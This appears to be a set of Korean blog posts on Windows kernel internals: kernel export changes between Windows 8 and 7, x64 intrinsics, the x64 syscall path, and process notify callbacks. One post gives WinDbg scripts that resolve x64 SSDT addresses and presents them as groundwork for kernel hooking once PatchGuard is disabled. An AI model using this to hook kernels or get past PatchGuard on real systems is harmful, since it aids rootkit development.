얼마전, 윈도우8 RTM이 MSDN/TechNet을 통해서 배포가 되어서, 설치를 해보았다. 

나의 첫번째 관심사는 시스템콜의 추가/삭제 여부였는지라, ntoskrnl.exe의 Export Table을 바로 까보았다.

시스템콜을 변경 유무를 살펴만 봐도, 해당 OS가 어떤 부분을 중점으로 개발이 진행되었는지, 유추정도는 할수 있으리라 생각했기 때문이다. 또한 커널 드라이버 개발때도 이러한 API들이 있구나, 하고 약간은 도움이 될것으로 생각된다.



* 아래 비교는  

Windows 8 Enterprise x64  <> Windows 7 Ultimate SP1 x64 

간의 비교임을 알려드립니다.




Removed System Calls on Windows 8 x64


Executive

ExUpdateLicenseData



I/O Manager

IoSetOplockKeyContext (Existed on Windows 8 x86)



Kernel Core

KeUpdateSystemTime



Process and Threads

PsSetJobUIRestrictionsClass



Transaction Manager

TmpIsKTMCommitCoordinator






Added System Calls on Windows 8 x64



Background Manager (?) (Can be related to BSOD?)

BgkDisplayCharacter

BgkGetConsoleState

BgkGetCursorState

BgkSetCursor



Cache Control

CcAddDirtyPagesToExternalCache

CcCopyReadEx

CcCopyWriteEx

CcDeductDirtyPagesFromExternalCache

CcFlushCacheToLsn

CcIsThereDirtyLoggedPages

CcRegisterExternalCache

CcScheduleReadAheadEx

CcSetAdditionalCacheAttributesEx

CcSetLogHandleForFileEx

CcSetLoggedDataThreshold

CcSetReadAheadGranularityEx

CcUnmapFileOffsetFromSystemCache

CcUnregisterExternalCache

CcZeroDataOnDisk



Configuration Manager

CmCallbackGetKeyObjectIDEx

CmCallbackReleaseKeyObjectIDEx



Executive

ExBlockOnAddressPushLock

ExBlockPushLock

ExCompositionSurfaceObjectType

ExGetFirmwareEnvironmentVariable

ExNotifyBootDeviceRemoval

ExQueryFastCacheAppOrigin

ExQueryFastCacheDevLicense

ExQueryTimerResolution

ExQueryWnfStateData

ExRealTimeIsUniversal

ExRegisterBootDevice

ExSetFirmwareEnvironmentVariable

ExSubscribeWnfStateChange

ExTimedWaitForUnblockPushLock

ExTryQueueWorkItem

ExUnsubscribeWnfStateChange

ExWaitForUnblockPushLock



File System

FsRtlAcquireEofLock

FsRtlAcquireHeaderMutex

FsRtlAreThereWaitingFileLocks

FsRtlCheckLockForOplockRequest

FsRtlDismountComplete

FsRtlGetFileNameInformation

FsRtlGetIoAtEof

FsRtlGetSectorSizeInformation

FsRtlGetSupportedFeatures

FsRtlInitializeEofLock

FsRtlIsSystemPagingFile

FsRtlIssueDeviceIoControl

FsRtlKernelFsControlFile

FsRtlMdlReadEx

FsRtlPrepareMdlWriteEx

FsRtlPrepareToReuseEcp

FsRtlQueryCachedVdl

FsRtlQueryKernelEaFile

FsRtlReleaseEofLock

FsRtlReleaseFileNameInformation

FsRtlReleaseHeaderMutex

FsRtlSetKernelEaFile

FsRtlTryToAcquireHeaderMutex

FsRtlUpdateDiskCounters



HyperVisor Library (?)

HvlGetLpIndexFromApicId

HvlPerformEndOfInterrupt

HvlQueryActiveHypervisorProcessorCount

HvlQueryActiveProcessors

HvlQueryHypervisorProcessorNodeNumber

HvlQueryProcessorTopology

HvlQueryProcessorTopologyCount

HvlQueryProcessorTopologyHighestId

HvlRegisterInterruptCallback

HvlRegisterWheaErrorNotification

HvlUnregisterInterruptCallback

HvlUnregisterWheaErrorNotification



BSOD Screen

InbvNotifyDisplayOwnershipChange



I/O Manager

IoBoostThreadIo

IoClearActivityIdThread

IoClearReservedDependency

IoCompletionObjectType

IoCopyDeviceObjectHint

IoCreateStreamFileObjectEx2

IoCreateSystemThread

IoDecrementKeepAliveCount

IoGetActivityIdIrp

IoGetActivityIdThread

IoGetDeviceInterfacePropertyData

IoGetInitiatorProcess

IoGetOplockKeyContextEx

IoIncrementKeepAliveCount

IoInitializeMiniCompletionPacket

IoIsActivityTracingEnabled

IoIsInitiator32bitProcess

IoIsValidIrpStatus

IoPropagateActivityIdToThread

IoQueueWorkItemToNode

IoRegisterBootDriverCallback

IoRegisterIoTracking

IoReportInterruptActive

IoReportInterruptInactive

IoReserveDependency

IoResolveDependency

IoSetActivityIdIrp

IoSetActivityIdThread

IoSetDeviceInterfacePropertyData

IoSetMasterIrpStatus

IoSynchronousCallDriver

IoTransferActivityId

IoTryQueueWorkItem

IoUnregisterBootDriverCallback

IoUnregisterIoTracking

IoVolumeDeviceToGuid

IoVolumeDeviceToGuidPath



Kernel Debugger

KdLogDbgPrint



Kernel Core

KeDispatchSecondaryInterrupt

KeForceEnableNx

KeGetNextTimerExpirationDueTime

KeHwPolicyLocateResource

KeInitializeSecondaryInterruptServices

KeInitializeSpinLock (Not existed on Windows 8 x86)

KeLoadMTRR

KeQueryEffectivePriorityThread

KeQueryInterruptTimePrecise

KeQuerySystemTimePrecise

KeQueryTotalCycleTimeThread

KeStallWhileFrozen

KeSweepLocalCaches

KeUpdateTime

KeUpdateTimeAssist

KeWriteProtectPAT



Unknown prefix

KseQueryDeviceData

KseQueryDeviceDataList

KseQueryDeviceFlags

KseRegisterShim

KseRegisterShimEx

KseSetDeviceFlags

KseUnregisterShim



Memory Manager

MmAllocateContiguousNodeMemory

MmAllocateMdlForIoSpace

MmAllocateNodePagesForMdlEx

MmAreMdlPagesCached

MmGetMaximumFileSectionSize

MmIsDriverSuspectForVerifier

MmMapViewInSessionSpaceEx

MmMapViewInSystemSpaceEx

MmMdlPageContentsState

MmPrefetchVirtualAddresses



NT System Calls (NT prefix)

NtSetCachedSigningLevel

NtSetInformationVirtualMemory



Object Manager

ObDuplicateObject

ObReferenceObjectSafe

ObReferenceObjectSafeWithTag

ObWaitForMultipleObjects

ObWaitForSingleObject




Power Manager

PoAllProcessorsDeepIdle

PoFxActivateComponent

PoFxCompleteDevicePowerNotRequired

PoFxCompleteIdleCondition

PoFxCompleteIdleState

PoFxIdleComponent

PoFxNotifySurprisePowerOn

PoFxPowerControl

PoFxProcessorNotification

PoFxRegisterCoreDevice

PoFxRegisterDevice

PoFxRegisterPlugin

PoFxRegisterPluginEx

PoFxRegisterPrimaryDevice

PoFxReportDevicePoweredOn

PoFxSetComponentLatency

PoFxSetComponentResidency

PoFxSetComponentWake

PoFxSetDeviceIdleTimeout

PoFxStartDevicePowerManagement

PoFxUnregisterDevice

PoGetProcessorIdleAccounting

PoInitiateProcessorWake

PoLatencySensitivityHint

PoNotifyDisableDynamicTick

PoNotifyVSyncChange

PoRegisterCoalescingCallback

PoSetUserPresent

PoUnregisterCoalescingCallback

PoUserShutdownCancelled



Process and Threads

PsChargeProcessWakeCounter

PsCreateSystemThreadEx

PsDereferenceKernelStack

PsGetProcessCommonJob

PsGetProcessSignatureLevel

PsGetThreadExitStatus

PsIsDiskCountersEnabled

PsQueryProcessAttributesByToken

PsQueryTotalCycleTimeProcess

PsReferenceKernelStack

PsReleaseProcessWakeCounter

PsUpdateDiskCounters



Runtime Library

RtlAddAtomToAtomTableEx

RtlAddResourceAttributeAce

RtlCheckPortableOperatingSystem

RtlCheckTokenCapability

RtlCheckTokenMembership

RtlCheckTokenMembershipEx

RtlCopyBitMap

RtlCrc32

RtlCrc64

RtlCreateAtomTableEx

RtlCreateHashTableEx

RtlCreateUserThread

RtlCultureNameToLCID

RtlDecompressBufferEx

RtlDeleteElementGenericTableAvlEx

RtlEqualWnfChangeStamps

RtlExtractBitMap

RtlGenerateClass5Guid

RtlGetAppContainerNamedObjectPath

RtlIsUntrustedObject

RtlLCIDToCultureName

RtlNumberOfClearBitsInRange

RtlNumberOfSetBitsInRange

RtlOpenCurrentUser

RtlQueryInformationAcl

RtlQueryPackageIdentity

RtlQueryRegistryValuesEx

RtlQueryValidationRunlevel

RtlRbInsertNodeEx

RtlRbRemoveNode

RtlSetControlSecurityDescriptor

RtlSetPortableOperatingSystem



Security

SeAccessCheckFromStateEx

SeAuditingAnyFileEventsWithContextEx

SeAuditingFileEventsWithContextEx

SeCreateClientSecurityEx

SeCreateClientSecurityFromSubjectContextEx

SeGetLogonSessionToken

SeQuerySecureBootPolicyValue

SeSecurityAttributePresent

SeSystemDefaultSd

SeTokenFromAccessInformation



Transaction Manager

TmRequestOutcomeEnlistment

TmSinglePhaseReject



Windows Hardware Error Architecture

WheaRegisterInUsePageOfflineNotification (Not existed on Windows 8 x86)

WheaUnregisterInUsePageOfflineNotification (Not existed on Windows 8 x86)



NT System Calls (ZW prefix)

ZwAlpcConnectPortEx

ZwCreateWnfStateName

ZwDeleteWnfStateData

ZwDeleteWnfStateName

ZwFlushBuffersFileEx

ZwQuerySystemEnvironmentValueEx

ZwQueryWnfStateData

ZwQueryWnfStateNameInformation

ZwSetCachedSigningLevel

ZwSetInformationKey

ZwSetInformationVirtualMemory

ZwSetSystemEnvironmentValueEx

ZwUnlockVirtualMemory

ZwUpdateWnfStateData



Standard Library

bsearch_s


저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
by Sone 2012.08.21 18:00
  다들 잘 아시다시피, x64기반에서는 인라인어셈블리를 사용하지 못합니다. 그래서 VC컴파일러가 제공하는 Intrinsics를 써야합니다. 그런데 DDK환경에서 개발할때, WinDDK라이브러리에는 intrin.h 파일이 포함되어져 있지 않기때문에, 이것을 모른다면 좀 골치아픕니다. 오늘 구글링을 하다가 알아내었는데, 다음과 같이 선언을 해주면 해결이 됩니다.

 #ifdef _X86_
unsigned long __readcr0(void);
void __writecr0(unsigned long);
#else
unsigned __int64 __readcr0(void);
void __writecr0(unsigned __int64);
#endif

#pragma intrinsic(__readcr0)
#pragma intrinsic(__writecr0)

  만약에 cr0 레지스터를 읽어오고 싶다면 __readcr0 라는 펑션을 사용합니다. 그런데 cr0는 32비트환경에서는 32비트만 사용되고, 64비트 환경에서는 64비트로 확장됩니다.(물론 상위 32비트는 Reserved로써 현재로썬 사용이 되고 있지 않습니다.) 따라서 32비트와 64비트에서 Intrinsic이 동작하는 방식이 다릅니다. 그래서 X86과 X64일때 선언을 달리해주어야합니다.


  하나 예를 더 들어볼까요. MSR레지스터를 읽어오는 Intrinsic을 선언하고싶다면 아래와 같이 하면 됩니다.

 unsigned __int64 __readmsr(unsigned long);
void __writemsr(unsigned long, unsigned __int64);
#pragma intrinsic(__readmsr)
#pragma intrinsic(__writemsr)

MSR은 32비트 환경이건, 64비트 환경이건간에,  64비트 레지스터이므로 X86과 X64나눠서 선언을 달리 해줄 필요가 없습니다.
 
저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
by Sone 2012.01.06 02:41




Windows Internals: Covering Windows Server 2008 R2 and Windows 7

 0735648735  978-0735648739 December 22, 2011 Sixth Edition

Delve inside Windows architecture and internals—guided by a team of internationally renowned internals experts. Fully updated for Windows 7 and Windows Server 2008 R2, this classic guide delivers key architectural insights on system design, debugging, performance, and support—along with hands-on experiments to experience Windows internal behavior firsthand.

See how Windows components work behind the scenes:

  • Understand how the core system and management mechanisms work
  • Explore internal system data structures using tools like the kernel debugger
  • Go inside the Windows security model to see how it authorizes access to data
  • Understand how Windows manages physical and virtual memory
  • Tour the Windows networking stack from top to bottom
  • Troubleshoot file-system access problems and system boot problems
  • Learn how to analyze crashes

뭔가 거창하게 복사해서 붙여넣기는 했는데, 결국은 12월달에 나오는군요.
아마존닷컴에서는 이미 선주문을 받고 있습니다.
(http://www.amazon.com/Windows-Internals-Covering-Server-2008/dp/0735648735/ref=pd_sim_b_15)

원가는 $69.99 로써,  우리나라에 입고가 된다면 7만원 후반대에서 8만원정도에 팔릴것으로 예상되나,
아마존닷컴에서 선주문시에는 45%세이빙 된 가격인, 38달러정도에 구매할 수 있습니다.


저자는 역시나  환상의콤비  마크 러시노비치, 데이비드 솔로몬, 알렉스 이오네스쿠가 되겠고, 
책 내용은 예상했던대로 윈도우NT커널 6.1(윈도우7, 서버2008 R2) 의 내용이 주가 될것으로 보여집니다.
그런데 여전히 5판도 다 못읽은 상태......
저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
by Sone 2011.09.13 06:12
* 모든 내용은 Windows 7 x64 를 기반으로 진행되었음 *  


짬을 내서, 64비트 시스템의 시스템콜 메커니즘에 관해서 한번 살펴보았다. x86에 관한 내용은 인터넷에 매우 많은데 비해, x64에 관한 내용은 그다지 많지가 않아서, 나름대로 정리를 해보려고 한다. 일단 시스템콜의 순서를 서술해보면 다음과 같다.


Native Service를 요청할 경우
kernel32!CreateFileA -> kernel32!CreateFileW -> ntdll!NtCreateFile -> nt!KiSystemCall64 -> nt!NtCreateFile

GUI Service를 요청할 경우
USER32!NtUserCallNoParam -> nt!KiSystemCall64 -> win32k!NtUserCallNoParam

 
  공통적인 점은, Native건 GUI건 모두 KiSystemCall64를 통과한다는 것이다. 관심 있는사람이라면 다 알다시피, x86 Windows에서는 SYSENTER를 사용하였고, 이는 곧 MSR의 0x176번지인 IA32_SYSENTER_EIP를 참조하여, KiFastCallEntry 함수의 주소를 EIP에 대입하여 실행되는 형태였다. 그러나 64비트에서는 좀 다른데, 이는 유저모드의 NtXXXXXX 함수의 코드를 살펴보면 금방 확인할 수 있다.

00000000`76fcd190 4c8bd1          mov     r10,rcx
00000000`76fcd193 b805100000      mov     eax,1005h
00000000`76fcd198 0f05            syscall
00000000`76fcd19a c3              ret

위 코드는  USER32!NtUserCallNoParam 함수의 코드를 따온것이다. (Export 된 함수는 아님) 살펴보면, syscall 명령어가 있는것을 확인할 수 있는데, SYSCALL과 SYSENTER는 엄연히 다르다. 인텔IA32 문서를 참조해보면 다음과 같이 나와있다.

 SYSCALL saves the RIP of the instruction following SYSCALL to RCX and loads a new RIP from the IA32_LSTAR (64-bit mode). Upon return, SYSRET copies the value saved in RCX to the RIP.

IA32_LSTAR로부터 64비트만큼 값을 읽어와서 RIP에 대입한다고 되어져 있는데, IA32_LSTAR에 관해서도 알아봐야 될것 같다.

Register Address는 0xC0000082 이며, 이름은 IA32_LSTAR 이다.
따라서 rdmsr 0xC0000082 를 쳐보면, KiSystemCall64의 주소가 나올것이다.

1: kd> rdmsr C0000082
msr[c0000082] = fffff800`02cd8ec0
1: kd> r $t0 = fffff800`02cd8ec0
1: kd> u @$t0
nt!KiSystemCall64:
fffff800`02cd8ec0 0f01f8          swapgs
fffff800`02cd8ec3 654889242510000000 mov   qword ptr gs:[10h],rsp
fffff800`02cd8ecc 65488b2425a8010000 mov   rsp,qword ptr gs:[1A8h]
fffff800`02cd8ed5 6a2b            push    2Bh
fffff800`02cd8ed7 65ff342510000000 push    qword ptr gs:[10h]
fffff800`02cd8edf 4153            push    r11
fffff800`02cd8ee1 6a33            push    33h
fffff800`02cd8ee3 51              push    rcx



  이제 KiSystemCall64까지 오는건 알았는데, 그다음부터 실제 Service Function이 어떻게 호출되는지를 살펴봐야 될것이다. 32비트 시스템에서는 SSDT를 살펴보면 , 그냥 Direct로 Service Routine의 주소가 때려박혀져 있었다. 그러나 x64에서는 일부는 그대로 대입되어져 있는 반면, 대부분은 이상한 QWORD 값으로 저장되어져 있다. 아래와 같이 말이다.

1: kd> dqs nt!KeServiceDescriptorTable
fffff800`02f10840  fffff800`02cdab00 nt!KiServiceTable
fffff800`02f10848  00000000`00000000
fffff800`02f10850  00000000`00000191
fffff800`02f10858  fffff800`02cdb78c nt!KiArgumentTable
fffff800`02f10860  00000000`00000000
fffff800`02f10868  00000000`00000000
fffff800`02f10870  00000000`00000000
fffff800`02f10878  00000000`00000000
fffff800`02f10880  fffff800`02cdab00 nt!KiServiceTable
fffff800`02f10888  00000000`00000000
fffff800`02f10890  00000000`00000191
fffff800`02f10898  fffff800`02cdb78c nt!KiArgumentTable
fffff800`02f108a0  fffff960`001c1c00 win32k!W32pServiceTable
fffff800`02f108a8  00000000`00000000
fffff800`02f108b0  00000000`0000033b
fffff800`02f108b8  fffff960`001c391c win32k!W32pArgumentTable
1: kd> dqs poi(nt!KeServiceDescriptorTable) L191

..............................
..............................
fffff800`02cdb0c8  03216b01`0456b900
fffff800`02cdb0d0  02b88980`04809300
fffff800`02cdb0d8  0450ca00`01151200
fffff800`02cdb0e0  042b9500`045f7400
fffff800`02cdb0e8  02518280`044e9800
fffff800`02cdb0f0  0261f900`028f83c2
fffff800`02cdb0f8  00fdc700`02ca6b40
fffff800`02cdb100  02a7b402`03d60700
fffff800`02cdb108  0386dd00`04259c00
fffff800`02cdb110  028af440`03e82d00
fffff800`02cdb118  04504800`028a0c00
fffff800`02cdb120  01146500`02726801
fffff800`02cdb128  04381b00`04649600
fffff800`02cdb130  000f5100`02e8e2c0
fffff800`02cdb138  041f0900`041f0000
fffff800`02cdb140  fffff800`ffe74c40
fffff800`02cdb148  fffff800`03103090 nt!NtFreezeTransactions
fffff800`02cdb150  fffff800`02f2c280 nt!NtGetContextThread
fffff800`02cdb158  fffff800`02f68610 nt!NtGetCurrentProcessorNumber
fffff800`02cdb160  fffff800`030fe2b0 nt!NtGetDevicePowerState
fffff800`02cdb168  fffff800`02f90788 nt!NtGetMUIRegistryInfo
fffff800`02cdb170  fffff800`0310bb80 nt!NtGetNextProcess
fffff800`02cdb178  fffff800`0310b890 nt!NtGetNextThread
..................................................
..................................................


가만히 생각해보면 이상하지 않은가? 분명히 System Service Routine의 주소를 얻어와서 CALL  하는 과정은 KiSystemCall64에서 이루어지고,  그 속에서 Service Routine의 주소를 얻어오는 일련의 과정은  동일할텐데, 어떤 서비스는 주소값이 제대로 들어가있고 , 어떤 서비스는 정체불명의 QWORD값의 형태로 들어있다니?  

결론부터 말하면 이리저리 살펴본 결과, 위 의문점에 관해서 의문을 가질 필요가 없다는것을 알게되었다.
그러기 위해선 KiSystemServiceStart 주변부의 어셈블리 코드를 살펴볼 필요가 있다.
KiSystemServiceStart는 KiSystemCall64에서 조금만 밑으로 디스어셈블 하다보면 나오는 부분이다.
이제  실행순서 및 코드를 살펴보자.



USER32!NtUserCallNoParam (사실, 이 함수는 Export 되지 않은 함수)

00000000`76fcd190 4c8bd1          mov     r10,rcx
00000000`76fcd193 b805100000      mov     eax,1005h
00000000`76fcd198 0f05            syscall
00000000`76fcd19a c3              ret



1: kd> u @$t0 L 100
nt!KiSystemCall64:
fffff800`02cd8ec0 0f01f8          swapgs
fffff800`02cd8ec3 654889242510000000 mov   qword ptr gs:[10h],rsp
fffff800`02cd8ecc 65488b2425a8010000 mov   rsp,qword ptr gs:[1A8h]
fffff800`02cd8ed5 6a2b            push    2Bh
fffff800`02cd8ed7 65ff342510000000 push    qword ptr gs:[10h]
.....................
.....................
//현재 쓰레드의 PKTHREAD를 얻어옴.
fffff800`02cd8f14 65488b1c2588010000 mov   rbx,qword ptr gs:[188h]
.....................
.....................
fffff800`02cd8fce 6690            xchg    ax,ax
fffff800`02cd8fd0 fb              sti
//서비스의 첫번째 파라메터를 PKTHREAD->FirstArgument 에 저장
fffff800`02cd8fd1 48898be0010000  mov     qword ptr [rbx+1E0h],rcx
//시스템 서비스 번호를 PKTHREAD->SystemCallNumber 에 저장
fffff800`02cd8fd8 8983f8010000    mov     dword ptr [rbx+1F8h],eax
nt!KiSystemServiceStart:
//커널 트랩 프레임을  PKTHREAD->TrapFrame 에 저장
fffff800`02cd8fde 4889a3d8010000  mov     qword ptr [rbx+1D8h],rsp
//시스템 서비스 넘버를 EDI에 넣음. EDI는 GUI서비스인지 판별하려는 의도 (EAX에는 0x1005 가 있음) 

fffff800`02cd8fe5 8bf8            mov     edi,eax            //Rax = 0x1005 , Rdi = 0x1005
fffff800`02cd8fe7 c1ef07          shr     edi,7               //Right Shift 하여 하위 7비트 모두 잘라냄. (RDI = 0x20)
fffff800`02cd8fea 83e720          and     edi,20h           //GUI서비스인지 AND를 이용해서 판별. ( RDI = 0x20 )
fffff800`02cd8fed 25ff0f0000      and     eax,0FFFh       //테이블 비트를 잘라내고 서비스 넘버만을 검출 ( RAX = 0x0005 )
nt!KiSystemServiceRepeat:
// DescriptorTable과 , ShadowTable의 주소를 각각 r10과 r11에 대입
fffff800`02cd8ff2 4c8d1547782300  lea     r10,[nt!KeServiceDescriptorTable (fffff800`02f10840)]
fffff800`02cd8ff9 4c8d1d80782300  lea     r11,[nt!KeServiceDescriptorTableShadow (fffff800`02f10880)]
// if ( PKTHREAD->GuiThread ) 가 유효하다면, 즉 GuiThread라면
fffff800`02cd9000 f7830001000080000000 test dword ptr [rbx+100h],80h
// Conditional MOVe if Not Equal  즉 , KeServiceDescriptorTableShadow을 r10에 대입.
// GuiThread가 아니라면 , KeServiceDescriptorTable 의 값이 r10에 그대로 보존 됨. 
fffff800`02cd900a 4d0f45d3        cmovne  r10,r11
fffff800`02cd900e 423b441710      cmp     eax,dword ptr [rdi+r10+10h]
fffff800`02cd9013 0f83e9020000    jae     nt!KiSystemServiceExit+0x1a7 (fffff800`02cd9302)
// r10 = * (KeServiceDescriptorTableShadow + 0x20) 즉,  win32k!w32pServiceTable을 r10에 대입
fffff800`02cd9019 4e8b1417        mov     r10,qword ptr [rdi+r10]
// w32pServiceTable + Service Number * 4DWORD만큼 R11에 저장한다. QWORD만큼 읽는게 아니다!!
fffff800`02cd901d 4d631c82        movsxd  r11,dword ptr [r10+rax*4] 

참고로 이때 w32pServiceTable + 0x05 * 4 의 값은 아래와 같았다.
1: kd> dds win32k!w32pServiceTable + 0x05 * 4
fffff960`001c1c14  00022700
 
fffff800`02cd9021 498bc3          mov     rax,r11               // r11 = 0x022700
// 서비스 테이블에서 DWORD만큼 읽었던것을 4만큼 Arithmetic Shift Right 함. 
fffff800`02cd9024 49c1fb04        sar     r11,4               // r11 = 0x2270
// R10  실제 Service Routine = w32pServiceTable + 0x2270 
fffff800`02cd9028 4d03d3          add     r10,r11          // r10 = 실제서비스루틴   
fffff800`02cd902b 83ff20          cmp     edi,20h
...............................
...............................
 nt!KiSystemServiceCopyEnd:
fffff800`02cd9140 f705fee4180040000000 test dword ptr [nt!PerfGlobalGroupMask+0x8 (fffff800`02e67648)],40h
fffff800`02cd914a 0f8550020000    jne     nt!KiSystemServiceExit+0x245 (fffff800`02cd93a0)
fffff800`02cd9150 41ffd2          call    r10        //서비스 호출
fffff800`02cd9153 65ff042538220000 inc     dword ptr gs:[2238h]
 

자, 이제 서비스 호출과정이 대략적으로 다 밝혀진것 같다. 
이제 이걸 WinDBG 스크립트로 한번 만들어보자.
그럼 모든 서비스의 실제 주소를 추출해낼 수 있을것 같다.
(사실, WinDBG 스크립트에 익숙치 않아서 , 이 스크립트를 짜기까지 많은 삽질이 있었따 ㅠㅠ)



// sdt.txt    -> for KeServiceDescriptorTable  x64 system
r $t0 = nt!KeServiceDescriptorTable

.for (r $t2 = 0; (@$t2 < poi(@$t0 + 0x10) * 0x04); r $t2 = @$t2 + 0x04)
{
r $t3 = poi(poi(@$t0) + @$t2)
r? $t4 = (long*) @$t3
.if ( (@$t4 & 00000000`f0000000) == 0 ) { r $t4 = @$t4 & 00000000`ffffffff }
.else { r $t4 = @$t4 | ffffffff`00000000 }
r $t4 = @$t4 >>> 4
r $t5 = poi(@$t0) + @$t4
u @$t5 L1
}
//////////////////// end of sdt.txt ////////////////////





// sdtshadow.txt   -> for KeServiceDescriptorTableShadow   x64 system
r $t1 = nt!KeServiceDescriptorTableShadow + 0x20

.for (r $t2 = 0; (@$t2 < poi(@$t1 + 0x10) * 0x04); r $t2 = @$t2 + 0x04)
{
r $t3 = poi(poi(@$t1) + @$t2)
r? $t4 = (long*) @$t3
.if ( (@$t4 & 00000000`f0000000) == 0 ) { r $t4 = @$t4 & 00000000`ffffffff }
.else { r $t4 = @$t4 | ffffffff`00000000 }
r $t4 = @$t4 >>> 4
r $t5 = poi(@$t1) + @$t4
u @$t5 L1
}
//////////////////////// end of sdtshadow.txt ////////////////////////



결과는 아래와 같다.

Result of SDT
nt!NtMapUserPhysicalPagesScatter:
fffff800`030eb190 48895c2408      mov     qword ptr [rsp+8],rbx
nt!NtWaitForSingleObject:
fffff800`02fd1a00 4c8bdc          mov     r11,rsp
nt!NtCallbackReturn:
fffff800`02cd1dd0 4883ec18        sub     rsp,18h
nt!NtReadFile:
fffff800`02ff4b10 4c8bdc          mov     r11,rsp
nt!NtDeviceIoControlFile:
fffff800`02ff2bb0 4883ec68        sub     rsp,68h
...........................
nt!NtAddBootEntry:
fffff800`0311d7d0 ??              ???

이상하게 nt!NtAddBootEntry 에서 메모리를 읽을수가 없는데, 왜 그런지 이유는 나중에 살펴봐야될것 같다.
일단 , 이 에러를 해결하기 위해서 부트타임에 실행을 중단시키고 , 서비스를 읽으니 잘 읽혔다.
아마 패치가드때문인것으로 생각된다.


 
Result of SDTSHADOW
1: kd> $$><myscript\sdtshadow.txt
win32k!NtUserGetThreadState:
fffff960`001b5580 48895c2408      mov     qword ptr [rsp+8],rbx
win32k!NtUserPeekMessage:
fffff960`001b2630 48895c2408      mov     qword ptr [rsp+8],rbx
win32k!NtUserCallOneParam:
fffff960`001c3c6c 48895c2408      mov     qword ptr [rsp+8],rbx
win32k!NtUserGetKeyState:
fffff960`001d1dd0 48895c2408      mov     qword ptr [rsp+8],rbx
......................... 
.........................
win32k!NtUserYieldTask:
fffff960`001ce06c 48895c2408      mov     qword ptr [rsp+8],rbx
win32k!NtUserSetClassLongPtr:
fffff960`001c6b84 48895c2408      mov     qword ptr [rsp+8],rbx
win32k!NtUserSetWindowLongPtr:
fffff960`001a1ca0 48895c2408      mov     qword ptr [rsp+8],rbx


win32k는 정상적으로 모두 출력된다.
 결과 파일은 따로 파일로 첨부한다.
 



그리고 스크립트 파일도 따로 첨부한다.




이제 이러한 내용을 바탕으로 패치가드를 무력화시키고, 후킹을 하기만 한다면 64비트에서도 후킹은 성공할 수 있을것 같다.
패치가드 무력화에 관한 방법들은 이미 몇몇 문서가 공개된것으로 알고있다.


ps. NtAddBootEntry 가 왜 안읽히는지 아시는분?
저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
by Sone 2011.06.14 06:51
  이미 많은 드라이버 개발자분들께서  잘 아시다시피, 프로세스와 쓰레드의 생성과 종료 감시를 위해서 , 커널단에서 NotifyRoutine을 등록함으로써, 적절한 처리를 수행할 수 있다. (콜백루틴은 그 종류가 여러가지가 있지만 여기서는 Process와 Thread만 살펴보기로 한다.) 그런데, 필자도 이때까지 사용해오면서 정확히 어느 시점에 NotifyRoutine이 호출되는지는 모르고, 그냥 생성과 종료시점에 호출이 되는구나 정도로만 이해하고 있었다.

  어느날 VS2010을 열어놓고 키보드를 갈기고 있던중, PsSetCreateProcessNotifyRoutine, PsSetThreadNotifyRoutine 에 의하여 등록된 콜백루틴은 대체 커널의 어느부분에서 최초로 호출이 이루어질까? 라는 생각이 들어서, 디버깅을 해보기로 했다. 디버깅을 위해서 코드를 아주 씸플하게 작성했다.

VOID
ProcessNotifyRoutine
(
IN HANDLE  ParentId,
IN HANDLE  ProcessId,
IN BOOLEAN  Create
)
{
__asm int 3h //breakpoint exception for debugging

return;
}

당연히 디버거가 커널에 붙어있는 상태여야하며 , 디버거없이 냅다 로드시켰다간 프로세스의 생성 또는 종료시점에 공포의 BSOD를 보게 될것이다.
이제 드라이버를 로드시키고 , 프로세스를 하나 살며시 띄워서 Breakpoint가 걸리게끔 유도 해주었다.

 Break instruction exception - code 80000003 (first chance)
h00kdrlv3r!ProcessNotifyRoutine+0x2:
f8bc098c cc              int     3

이제 현재 상태에서 스택을 살펴보자.

 0: kd> kb
ChildEBP RetAddr  Args to Child              
b21e6b80 805d24e5 000006b4 00000cf0 00000001 h00kdrlv3r!ProcessNotifyRoutine+0x2 [d:\program\h00kdrlv3r\h00kdrlv3r\process.c @ 21]
b21e6cc4 805d3144 0007d934 001f03ff 00000000 nt!PspCreateThread+0x3a7
b21e6d3c 8054367c 0007d934 001f03ff 00000000 nt!NtCreateThread+0xfc
b21e6d3c 7c93e514 0007d934 001f03ff 00000000 nt!KiFastCallEntry+0xfc
0007d560 7c93d1ba 7c7e9ea7 0007d934 001f03ff ntdll!KiFastSystemCallRet
0007d5a8 7c9446f9 0007d6b4 0007d8a0 00000004 ntdll!ZwCreateThread+0xc
0007dfb0 7c7d2362 00000000 001654ac 00163214 ntdll!RtlIntegerToUnicode+0x11d

ZwCreateThread가 호출이되고 , KiFastCallEntry를 통과해서 , NtCreateThread, PspCreateThread를 호출한다음 드라이버 영역이 호출되었다. 그렇다면 PspCreateThread 내부에서 콜백루틴을 호출했다는건데, PspCreateThread 내부를 간단히 살펴보기로 했다.

 0: kd> uf /c nt!PspCreateThread
nt!PspCreateThread (805d213e)
 ........................
  nt!PspCreateThread+0x386 (805d24c4):
    call to nt!ExReferenceCallBackBlock (8060f514)
  nt!PspCreateThread+0x392 (805d24d0):
    call to nt!ExGetCallBackBlockRoutine (805a1e54)
  nt!PspCreateThread+0x3a5 (805d24e3):
    unresolvable call: call    eax
  nt!PspCreateThread+0x3ab (805d24e9):
    call to nt!ExDereferenceCallBackBlock (8060f616)
  nt!PspCreateThread+0x3ef (805d252d):
  ..............................

PspCreateThread 함수의 규모가 생각보다 상당히 커서, 앞뒤부분은 짜르고 PspCreateThread+0x3a7 부근만 살펴보기로 했다.
call eax  를 보니 특별히 어떤 심볼을 가진 함수나 Import 함수를 내부적으로 호출하진 않고, 바로 PspCreateThread 내부에서 함수포인터를 가져와서 호출하는 방식이다. 그런데 MSDN에서 살펴보니 PsSetCreateProcessNotifyRoutine  API는  Windows 2000에서도 사용이 가능하다고 한다. 그렇다면 예전에 유출되었던 윈도우2K 소스코드에서 PspCreateThread를 살펴보면 어느시점에 호출되는지 어느정도 정확히 알아낼 수 있을것 같다. (윈도우 NT4 소스코드에서도 확인은 가능하다.)

 PspCreateThread의 소스코드는  "\win2k\private\ntos\ps\create.c" 에서 확인할 수 있다.
먼저 PspCreateThread의 형태를 살펴보자.
 

NTSTATUS
PspCreateThread(
